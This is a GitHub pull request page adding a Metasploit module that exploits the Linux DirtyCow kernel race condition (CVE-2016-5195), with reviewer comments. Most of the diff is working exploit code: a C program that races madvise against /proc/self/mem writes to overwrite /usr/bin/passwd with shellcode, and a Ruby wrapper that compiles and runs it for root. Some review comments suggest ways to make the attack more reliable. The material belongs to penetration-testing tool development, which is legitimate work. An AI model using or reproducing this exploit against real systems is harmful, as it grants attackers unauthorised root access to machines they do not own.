-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2016-5195 - DirtyCow privilege escalation #7476
Changes from 12 commits
046d3ea
f0134b1
b247884
a6af7a8
0651726
1100144
9b20938
22a4760
cb0765e
a75ccc7
e231766
e6896db
1b8d512
4340134
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ManualRanking | ||
|
||
include Msf::Exploit::EXE | ||
include Msf::Post::File | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info={}) | ||
super(update_info(info, { | ||
'Name' => 'Linux Kernel DirtyCow Local Privilege Escalation', | ||
'Description' => %q{ | ||
A race condition was found in the way the Linux kernel's memory | ||
subsystem handled the copy-on-write (COW) breakage of private | ||
read-only memory mappings. An unprivileged local user could use | ||
this flaw to gain write access to otherwise read-only memory mappings | ||
and thus increase their privileges on the system. | ||
The bug has existed since around Linux Kernel 2.6.22 (released in 2007). | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
'Phil Oester', # Vulnerability Discovery | ||
'Robin Verton', # cowroot.c developer | ||
'Nixawk' # original module developer | ||
], | ||
'Platform' => [ 'linux' ], | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'SessionTypes' => ['shell', 'meterpreter'], | ||
'References' => | ||
[ | ||
['CVE', '2016-5195'], | ||
['URL', 'https://dirtycow.ninja/'], | ||
['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails'], | ||
['URL', 'https://access.redhat.com/security/cve/cve-2016-5195'], | ||
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619'] | ||
], | ||
'Targets' => | ||
[ | ||
[ 'Linux x86', { 'Arch' => ARCH_X86 }], | ||
[ 'Linux x64', { 'Arch' => ARCH_X86_64 }] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'PrependSetresuid' => true, | ||
'PrependSetuid' => true | ||
}, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Oct 19 2016' | ||
})) | ||
|
||
register_options([ | ||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]) | ||
]) | ||
end | ||
|
||
def check | ||
kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) | ||
if kernel >= Gem::Version.new('2.6.22') | ||
CheckCode::Appears | ||
else | ||
CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
if check != CheckCode::Appears | ||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') | ||
end | ||
|
||
main = %q^ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <sys/mman.h> | ||
#include <fcntl.h> | ||
#include <pthread.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
|
||
void *map; | ||
int f; | ||
int stop = 0; | ||
struct stat st; | ||
char *name; | ||
pthread_t pth1, pth2, pth3; | ||
|
||
char suid_binary[] = "/usr/bin/passwd"; | ||
|
||
SHELLCODE | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Curiously, you don't even need to do this if you have a watchdog checking for root. It's nice that the payload is within the PoC, though. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. @wvu-r7 Sorry for my poor english. What's the meaning of the word watchdog ? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm slightly abusing the term here. In this case, it's a check for root that doesn't execute the payload if it times out. I've been able to get away without a loop, though, due to how |
||
|
||
unsigned int shellcode_size = 0; | ||
|
||
|
||
void *madviseThread(void *arg) | ||
{ | ||
char *str; | ||
str=(char*)arg; | ||
int i, c=0; | ||
for(i=0; i<1000000 && !stop; i++) { | ||
c += madvise(map,100,MADV_DONTNEED); | ||
} | ||
printf("thread stopped\n"); | ||
} | ||
|
||
void *procselfmemThread(void *arg) | ||
{ | ||
char *str; | ||
str = (char*)arg; | ||
int f=open("/proc/self/mem",O_RDWR); | ||
int i, c=0; | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Sounds like ptrace() is the way to go for maximum combat, instead of writing There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||
for(i=0; i<1000000 && !stop; i++) { | ||
lseek(f, map, SEEK_SET); | ||
c += write(f, str, shellcode_size); | ||
} | ||
printf("thread stopped\n"); | ||
} | ||
|
||
void *waitForWrite(void *arg) { | ||
char buf[shellcode_size]; | ||
|
||
for(;;) { | ||
FILE *fp = fopen(suid_binary, "rb"); | ||
|
||
fread(buf, shellcode_size, 1, fp); | ||
|
||
if(memcmp(buf, shellcode, shellcode_size) == 0) { | ||
printf("%s overwritten\n", suid_binary); | ||
break; | ||
} | ||
|
||
fclose(fp); | ||
sleep(1); | ||
} | ||
|
||
stop = 1; | ||
system(suid_binary); | ||
} | ||
|
||
int main(int argc, char *argv[]) { | ||
char *backup; | ||
|
||
asprintf(&backup, "cp %s /tmp/bak", suid_binary); | ||
system(backup); | ||
|
||
f = open(suid_binary,O_RDONLY); | ||
fstat(f,&st); | ||
|
||
char payload[st.st_size]; | ||
memset(payload, 0x90, st.st_size); | ||
memcpy(payload, shellcode, shellcode_size+1); | ||
|
||
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | ||
|
||
pthread_create(&pth1, NULL, &madviseThread, suid_binary); | ||
pthread_create(&pth2, NULL, &procselfmemThread, payload); | ||
pthread_create(&pth3, NULL, &waitForWrite, NULL); | ||
|
||
pthread_join(pth3, NULL); | ||
|
||
return 0; | ||
} | ||
^ | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Suggestion,
thanks There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'd prefer the source code to be in the clear, especially considering there's some string replacement going on. |
||
payload_file = generate_payload_exe | ||
main.gsub!(/SHELLCODE/) do | ||
# Split the payload into chunks and dump it out as a hex-escaped | ||
# literal C string. | ||
Rex::Text.to_c(payload_file, 64, "shellcode") | ||
end | ||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload_file.length}") | ||
|
||
evil_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(10)}" | ||
|
||
write_file("#{evil_path}.c", main) | ||
print_status("Compiling #{evil_path}.c via gcc") | ||
|
||
output = cmd_exec("/usr/bin/gcc -pthread -o #{evil_path}.out #{evil_path}.c") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This makes the assumption gcc is installed and in that path. I'd put in a check to see if GCC is there or not, similar to https://github.com/rapid7/metasploit-framework/pull/7402/files#diff-97a861419258a173797265eb4a35a110R170 There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Please add a binary-dropping method as well. It's not ideal, but neither is shelling out to GCC, and you're already writing the source to disk. Preferably, you should have the option of either. |
||
output.each_line { |line| vprint_status(line.chomp) } | ||
|
||
print_status("Executing at #{Time.now}.") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. What is this for? Does |
||
output = cmd_exec("chmod +x #{evil_path}.out; #{evil_path}.out") | ||
output.each_line { |line| vprint_status(line.chomp) } | ||
|
||
register_file_for_cleanup("#{evil_path}.c") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You should restore |
||
register_file_for_cleanup("#{evil_path}.out") | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
no mention of which kernels are vulnerable
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @h00die . https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails says
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
this is scary , our college library uses some modified version of ubuntu called koha i think it is using this old kernal